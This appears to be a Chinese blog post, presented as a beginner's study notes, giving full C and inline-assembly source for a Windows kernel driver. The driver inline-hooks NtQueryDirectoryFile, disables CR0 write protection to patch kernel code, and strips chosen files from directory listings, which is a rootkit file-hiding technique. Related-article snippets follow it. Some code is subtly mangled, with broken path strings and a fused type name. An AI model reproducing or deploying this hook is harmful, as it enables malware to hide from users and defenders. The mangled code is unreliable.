Inline Hook NtQueryDirectoryFile

首先声明这个是菜鸟—我的学习日记,不是什么高深文章,高手们慎看.

都总是发一些已经过时的文章真不好意思,几个月以来沉迷于游戏也是时候反省了,我真的几个月没写博客了,怎么办~怎么办~我要补充自己的博客,但真想不到写什么了,唯有将自己以前写的一些Demo写上来.

当初我其实是不会这样做的,看了一篇关于"怎么inline hook NtDeviceIoControlFile隐藏端口"的文章后有启发,于是自己试着用在隐藏文件这个函数上,忘记了这篇文章的出处,对作者深感抱歉.

l         原理分析

inline hook的原理相信已经为大家所知了,方法就有几种.

1. 原函数入口call之前改无条件跳到自己函数,处理数据,然后原函数改回正常,调用原函数,再改回原函数入口call之前改无条件跳到自己函数.(这样做操作繁复,调用频繁可能出错)

2. 就是我以下做的方法了.只要实现一次修改就可以了.

3. ……..还有更多的.

nt!NtQueryDirectoryFile: //这个函数入口的原来样子

80574515 8bff            mov     edi,edi

80574517 55              push    ebp

80574518 8bec            mov     ebp,esp

8057451a 8d452c          lea     eax,[ebp+2Ch]

8057451d 50              push    eax

8057451e 8d4528          lea     eax,[ebp+28h]

80574521 50              push    eax

80574522 8d4524          lea     eax,[ebp+24h]

80574525 50              push    eax

80574526 8d4520          lea     eax,[ebp+20h]

80574529 50              push    eax

8057452a 8d4530          lea     eax,[ebp+30h]

8057452d 50              push    eax

8057452e 6a01            push    1

80574530 ff7530          push    dword ptr [ebp+30h]

80574533 ff752c          push    dword ptr [ebp+2Ch]

80574536 ff7528          push    dword ptr [ebp+28h]

80574539 ff7524          push    dword ptr [ebp+24h]

8057453c ff7520          push    dword ptr [ebp+20h]

8057453f ff751c          push    dword ptr [ebp+1Ch]

80574542 ff7518          push    dword ptr [ebp+18h]

80574545 ff7514          push    dword ptr [ebp+14h]

80574548 ff7510          push    dword ptr [ebp+10h]

8057454b ff750c          push    dword ptr [ebp+0Ch]

8057454e ff7508          push    dword ptr [ebp+8]

80574551 e82bfdffff      call    nt!PsLookupProcessByProcessId+0x3f4 (80574281)

--------------------------------------------------------------------------------------------

nt!NtQueryDirectoryFile: //这个函数入口修改后的样子

……

80574542 ff7518          push    dword ptr [ebp+18h]

80574545 ff7514          push    dword ptr [ebp+14h]

80574548 ea1c3224f50800  jmp     0008:F524321C // 无条件跳自己的函数,其实这段可以写在

8057454b 90              nop                  // call前的任何地方,自己构建的函数要有

8057454e 90              nop                  // 相应的改动而已.

80574551 e82bfdffff      call    nt!PsLookupProcessByProcessId+0x3f4 (80574281)

--------------------------------------------------------------------------------------------

__declspec(naked) NTAPI

Detour_NtQueryDirectoryFile(

IN HANDLE  FileHandle,

IN HANDLE  Event  OPTIONAL,

IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

IN PVOID  ApcContext  OPTIONAL,

OUT PIO_STATUS_BLOCK  IoStatusBlock,

OUT PVOID  FileInformation,

IN ULONG  FileInformationLength,

IN FILE_INFORMATION_CLASS  FileInformationClass,

IN ULONG  ReturnSingleEntry,

IN PUNICODE_STRING  FileName  OPTIONAL,

IN ULONG  RestartScan)

{

__asm    // 恢复好堆栈先

{

add esp,40

mov esp,ebp

pop ebp

push ebp

mov ebp,esp

pushad

}

__asm    // 然后就模拟压栈

{

push RestartScan

push FileName

push ReturnSingleEntry

push FileInformationClass

push FileInformationLength

push FileInformation

push IoStatusBlock

push ApcContext

push ApcRoutine

push Event

push FileHandle

}

__asm

{

jmp forwArd

bAck:

}

__asm    // 模拟函数入口的操作了

{

push    ebp

mov     ebp,esp

lea     eax,[ebp+2Ch]

push    eax

lea     eax,[ebp+28h]

push    eax

lea     eax,[ebp+24h]

push    eax

lea     eax,[ebp+20h]

push    eax

lea     eax,[ebp+30h]

push    eax

push    1

push    dword ptr [ebp+30h]

push    dword ptr [ebp+2Ch]

push    dword ptr [ebp+28h]

push    dword ptr [ebp+24h]

push    dword ptr [ebp+20h]

push    dword ptr [ebp+1Ch]

push    dword ptr [ebp+18h]

push    dword ptr [ebp+14h]

push    dword ptr [ebp+10h]

push    dword ptr [ebp+0Ch]

push    dword ptr [ebp+8]

_emit 0xEA    // 用jmp far 跳回原来函数这个位置

_emit 0xFF

_emit 0xFF

_emit 0xFF

_emit 0xFF

_emit 0x08

_emit 0x00

}

__asm

{

forwArd:

call bAck     // 调用原来的函数了,是不是很巧妙咧.

mov rc,eax    // 结果放到rc中

}

l         关于怎么通过NtQueryDirectoryFile的一个HANDLE来取得文件的所在目录

这个问题我一直解决不了,怎么用全路径来判断需要隐藏的文件的,网上的资料都只是支持文件名来隐藏的,我好想做到,找了好多资料都找不到现成的代码,但看着是有些启发的.于是慢慢也有思路了.

1.有个调用ObReferenceObjectByHandle 可以通过HANDLE来取得PFILE_OBJECT.

2.既然有了PFILE_OBJECT就可以通过ObQueryNameString来取得POBJECT_NAME_INFORMATION,这里好做了,全路径就存放在这个POBJECT_NAME_INFORMATION ->Name.Buffer中了.

3.前面的PFILE_OBJECT已经没用了,别忘记好习惯清理调用ObDereferenceObject(这个是DDK说的).

4.但POBJECT_NAME_INFORMATION ->Name.Buffer并不象我们想象的路径"C:/Windows"那样的, "C:"只是一个连接符,实际的设备名称是"/Device/HarddiskVolume1",那么"C:/Windows"="/Device/HarddiskVolume1/Windows ".

5.现在就需要找出POBJECT_NAME_INFORMATION ->Name.Buffer对应的到底是那个连接符,因为"/Device/HarddiskVolume1"可能代表的是"D:",那么我这里就用了一种好没效率的方法来实现,如果大家有更好的方法请告诉我^-^.

6.我先构建一个UNICODE_STRING = L"//DosDevices//C:" 然后通过ZwOpenSymbolicLinkObject, ZwQuerySymbolicLinkObject来取得设备的名称UNICODE_STRING = L"//Device//HarddiskVolume1",然后如此类推由C到Z的一个循环.通过和POBJECT_NAME_INFORMATION ->Name.Buffer的前部分对比判断出到底是哪个连接符.最后记得用ZwClose释放调用产生的HANDLE.

7. POBJECT_NAME_INFORMATION ->Name.Buffer的后部分就是路径了.到这里思路都完成了.

以下是代码了.相信都比较清晰了.

//////////HideFile.c/////////////

#include "ntifs.h"

NTSTATUS rc;

ULONG bLastOne, iPos, iLeft;

PFILE_BOTH_DIR_INFORMATION pFileInfo, pLastFileInfo;

WCHAR *FileHide = L"C://Windows//Explorer.exe/0C://Windows//hh.exe";

WCHAR FileName[260];

WCHAR FileDirectory[1024];

char DetourCode[] = { 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x00, 0x90, 0x90 };

char BackupCode[] = { 0xFF, 0x25, 0x00, 0x39, 0x55, 0x80, 0x90, 0x90, 0x90 };

ULONG ComparePathString(IN WCHAR *NameString, ULONG FileNameLength)

{

int Offer = 0;

while(FileHide[Offer])

{

if(wcslen(&FileHide[Offer]) == wcslen(FileDirectory) + FileNameLength/sizeof(WCHAR) + 1)

{

if( !_wcsnicmp(&FileHide[Offer], FileDirectory, wcslen(FileDirectory)) &&

!_wcsnicmp(&FileHide[Offer + wcslen(FileDirectory) + 1], NameString, FileNameLength/sizeof(WCHAR)) )

{

return 1;

}

}

Offer += wcslen(&FileHide[Offer]) + 1;

}

return 0;

}

VOID GetDosNameChar(IN HANDLE  FileHandle)

{

PFILE_OBJECT pFileObject;

POBJECT_NAME_INFORMATION pObjectName;

ULONG ActualLength;

HANDLE LinkHandle;

WCHAR NameBuffer[64];

OBJECT_ATTRIBUTES ObjectAttributes;

UNICODE_STRING DeviceString, VolumeString;

ObReferenceObjectByHandle(FileHandle, FILE_READ_ACCESS, *IoFileObjectType, KernelMode, &pFileObject, 0);

pObjectName = (POBJECT_NAME_INFORMATION)ExAllocatePool(PagedPool, sizeof(OBJECT_NAME_INFORMATION) + 1024);

ObQueryNameString(pFileObject, pObjectName, sizeof(OBJECT_NAME_INFORMATION) + 1024, &ActualLength);

ObDereferenceObject(pFileObject);

RtlInitUnicodeString(&VolumeString, L"//DosDevices//C:");

InitializeObjectAttributes(&ObjectAttributes, &VolumeString, OBJ_KERNEL_HANDLE, NULL, NULL);

DeviceString.Buffer = NameBuffer;

DeviceString.MaximumLength = sizeof(NameBuffer);

for(VolumeString.Buffer[12] = 'C';VolumeString.Buffer[12] <= 'Z';VolumeString.Buffer[12]++)

{

RtlZeroMemory(NameBuffer, sizeof(NameBuffer));

ZwOpenSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_QUERY, &ObjectAttributes);

ZwQuerySymbolicLinkObject(LinkHandle, &DeviceString, &ActualLength);

ZwClose(LinkHandle);

DbgPrint("%ws",DeviceString.Buffer);

if(RtlCompareMemory(pObjectName->Name.Buffer, DeviceString.Buffer, DeviceString.Length ) == DeviceString.Length)

{

RtlZeroMemory(FileDirectory, sizeof(FileDirectory));

RtlCopyMemory(FileDirectory, &VolumeString.Buffer[12], sizeof(WCHAR) * 2);

if(pObjectName->Name.Length - DeviceString.Length > 2)

RtlCopyMemory(&FileDirectory[2], &pObjectName->Name.Buffer[DeviceString.Length/2], pObjectName->Name.Length - DeviceString.Length);

break;

}

}

ExFreePool(pObjectName);

}

__declspec(naked) NTAPI

Detour_NtQueryDirectoryFile(

IN HANDLE  FileHandle,

IN HANDLE  Event  OPTIONAL,

IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

IN PVOID  ApcContext  OPTIONAL,

OUT PIO_STATUS_BLOCK  IoStatusBlock,

OUT PVOID  FileInformation,

IN ULONG  FileInformationLength,

IN FILE_INFORMATION_CLASS  FileInformationClass,

IN ULONG  ReturnSingleEntry,

IN PUNICODE_STRING  FileName  OPTIONAL,

IN ULONG  RestartScan)

{

__asm

{

add esp,40

mov esp,ebp

pop ebp

push ebp

mov ebp,esp

pushad

}

__asm

{

push RestartScan

push FileName

push ReturnSingleEntry

push FileInformationClass

push FileInformationLength

push FileInformation

push IoStatusBlock

push ApcContext

push ApcRoutine

push Event

push FileHandle

}

__asm

{

jmp forwArd

bAck:

}

__asm

{

push    ebp

mov     ebp,esp

lea     eax,[ebp+2Ch]

push    eax

lea     eax,[ebp+28h]

push    eax

lea     eax,[ebp+24h]

push    eax

lea     eax,[ebp+20h]

push    eax

lea     eax,[ebp+30h]

push    eax

push    1

push    dword ptr [ebp+30h]

push    dword ptr [ebp+2Ch]

push    dword ptr [ebp+28h]

push    dword ptr [ebp+24h]

push    dword ptr [ebp+20h]

push    dword ptr [ebp+1Ch]

push    dword ptr [ebp+18h]

push    dword ptr [ebp+14h]

push    dword ptr [ebp+10h]

push    dword ptr [ebp+0Ch]

push    dword ptr [ebp+8]

_emit 0xEA

_emit 0xFF

_emit 0xFF

_emit 0xFF

_emit 0xFF

_emit 0x08

_emit 0x00

}

__asm

{

forwArd:

call bAck

mov rc,eax

}

if( NT_SUCCESS(rc) && (FileInformationClass == FileBothDirectoryInformation) )

{

GetDosNameChar(FileHandle);

pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;

pLastFileInfo = NULL;

do

{

bLastOne = !(pFileInfo->NextEntryOffset);

if(ComparePathString(pFileInfo->FileName, pFileInfo->FileNameLength))

{

if(bLastOne)

{

if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformation )

{

rc = 0x80000006;

}

else

{

pLastFileInfo->NextEntryOffset = 0;

}

break;

}

else

{

iPos = (ULONG)pFileInfo - (ULONG)FileInformation;

iLeft = (ULONG)FileInformationLength - iPos - pFileInfo->NextEntryOffset;

RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), iLeft );

continue;

}

}

pLastFileInfo = pFileInfo;

pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);

}while(!bLastOne);

}

__asm

{

popad

mov esp,ebp

pop ebp

mov eax,rc

ret 0x28

}

}

VOID InterruptEnable()

{

__asm

{

MOV EAX, CR0

OR EAX, 10000H

MOV CR0, EAX

STI

}

}

VOID InterruptDisable()

{

__asm

{

CLI

MOV EAX, CR0

AND EAX, NOT 10000H

MOV CR0, EAX

}

}

NTSTATUS DetourFunctionNtQueryDirectoryFile()

{

int i = 0;

while(++i)

{

if(!memcmp((unsigned char *)Detour_NtQueryDirectoryFile + i, &DetourCode[1], 4))

{

*( (unsigned long *)((unsigned char *)Detour_NtQueryDirectoryFile + i) ) = (unsignedlong)NtQueryDirectoryFile + 0x3C;

break;

}

}

*( (unsigned long *)(&DetourCode[1]) ) = (unsigned long)Detour_NtQueryDirectoryFile;

InterruptDisable();

memcpy(BackupCode, (unsigned char *)NtQueryDirectoryFile + 0x33, 9);

memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, DetourCode, 9);

InterruptEnable();

return STATUS_SUCCESS;

}

VOID UnDetourFunctionNtQueryDirectoryFile()

{

InterruptDisable();

memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, BackupCode, 9);

InterruptEnable();

}

VOID DriverUnload(IN PDRIVER_OBJECT  DriverObject)

{

UnDetourFunctionNtQueryDirectoryFile();

}

NTSTATUS DriverEntry(

IN OUT PDRIVER_OBJECT   DriverObject,

IN PUNICODE_STRING      RegistryPath)

{

DriverObject->DriverUnload = DriverUnload;

DetourFunctionNtQueryDirectoryFile();

return STATUS_SUCCESS;

}

 
http://blog.csdn.net/cooblily/article/details/2532223

Inline Hook NtQueryDirectoryFile的更多相关文章

  1. 对付ring0 inline hook

    对付ring0 inline hook的基本思路是这样的,自己写一个替换的内核函数,以NtOpenProcess为例,就是MyNtOpenProcess.然后修改SSDT表,让系统服务进入自己的函数M ...

  2. android inline hook

    最近终于沉下心来对着书把hook跟注入方面的代码敲了一遍,打算写几个博客把它们记录下来. 第一次介绍一下我感觉难度最大的inline hook,实现代码参考了腾讯GAD的游戏安全入门. inline ...

  3. 默默的发现在网上找到的hook NtQueryDirectoryFile......

    默默的发现在网上找到的hook  NtQueryDirectoryFile...... hook  NtQueryDirectoryFile是为了实现文件隐藏,然后就发现在网上发现的代码版本似乎同一个 ...

  4. hook NtQueryDirectoryFile实现文件隐藏

    一.NtQueryDirectoryFile函数功能(NT系列函数) NtQueryDirectoryFile函数:在一个给定的文件句柄,该函数返回该文件句柄指定目录下的不同文件的各种信息. 根据传入 ...

  5. 在已有软件加壳保护 下实现 Inline hook

    如写的不好请见谅,本人水平有限. 个人简历及水平:. http://www.cnblogs.com/hackdragon/p/3662599.html 正常情况: 接到一个项目实现对屏幕输出内容的获取 ...

  6. windows 32位以及64位的inline hook

    Tips : 这篇文章的主题是x86及x64 windows系统下的inline hook实现部分. 32位inline hook 对于系统API的hook,windows 系统为了达成hotpatc ...

  7. Inline Hook

    @author: dlive IAT Hook时如果要钩取的API不在IAT中(LoadLibrary后调用),则无法使用该技术.而Inline Hook不存在这个限制. 0x01 Inline Ho ...

  8. INLINE HOOK过简单驱动保护的理论知识和大概思路

    这里的简单驱动保护就是简单的HOOK掉内核API的现象 找到被HOOK的函数的当前地址在此地址处先修改页面保护属性然后写入5个字节.5个字节就是一个简单的JMP指令.这里说一下JMP指令,如下: 00 ...

  9. x86平台inline hook原理和实现

    概念 inline hook是一种通过修改机器码的方式来实现hook的技术. 原理 对于正常执行的程序,它的函数调用流程大概是这样的: 0x1000地址的call指令执行后跳转到0x3000地址处执行 ...

随机推荐

  1. count()与sum()

    介绍Mysql中的count()与sum()区别 CREATE TABLE `result` ( `name` varchar(20) default NULL, `subject` varchar( ...

  2. Dom操作--全选反选

    我们经常会在网站上遇到一些多选的情况,下面我就来说说使用Dom写全选反选的思路. 全选思路:首先,我们来分析一下知道,当我们点击"全选"复选框的时候,所有的复选框应该都被选中,那我 ...

  3. 自定义控件学习 Day44

    自定义控件学习 Day44 onMeasure 测量控件的宽高. onLayout 设置位置 onDarw 绘制控件 问题堆栈 1. 事件监听传递 最外层获取到控件,根据事件事件传递机制,返回值fal ...

  4. java gui可见即可得

    http://www.eclipse.org/windowbuilder/ http://download.eclipse.org/windowbuilder/WB/release/R20130927 ...

  5. FOR XML PATH 应用及其反向分解

    数据库环境:SQL SERVER 2005 我们实现将同一组的数据内容合并到一行的时候,可以通过FOR XML PATH来实现. 有数据如图1,要实现图2的效果              1.图1到图 ...

  6. 如何恢复oracle中已删除的表

    在9i中Oracle引入了flashback的概念,可以将数据返回到某个时间点,但对于诸如drop/truncate等DDL语句却尚不支持.进入Oracle10g,这一缺陷得到了弥补.可以将丢失掉的表 ...

  7. linux mysql目录详解

    1.mysql数据库目录 /var/lib/mysql 2.mysql配置文件目录 /usr/share/mysql 3.相关命令目录 /usr/bin 4.启动脚本目录

  8. 跳转界面方法 (runtime实用篇一)

    在开发项目中,会有这样变态的需求: 推送:根据服务端推送过来的数据规则,跳转到对应的控制器 feeds列表:不同类似的cell,可能跳转不同的控制器(嘘!产品经理是这样要求:我也不确定会跳转哪个界面哦 ...

  9. html页面布局 第8节

    页面布局: <html> <head> <title>页面布局</title> <style type="text/css"& ...

  10. RSA安全性问题

    加密:C=Me(mod n) 解密:M=Cd(mod n) 安全性基础: 穷举法攻击: 1.攻击者设计一个M,C=Me(mod n) 2.d的个数至多有n-1个,尝试使用每个d破解,如果M’=Cd‘( ...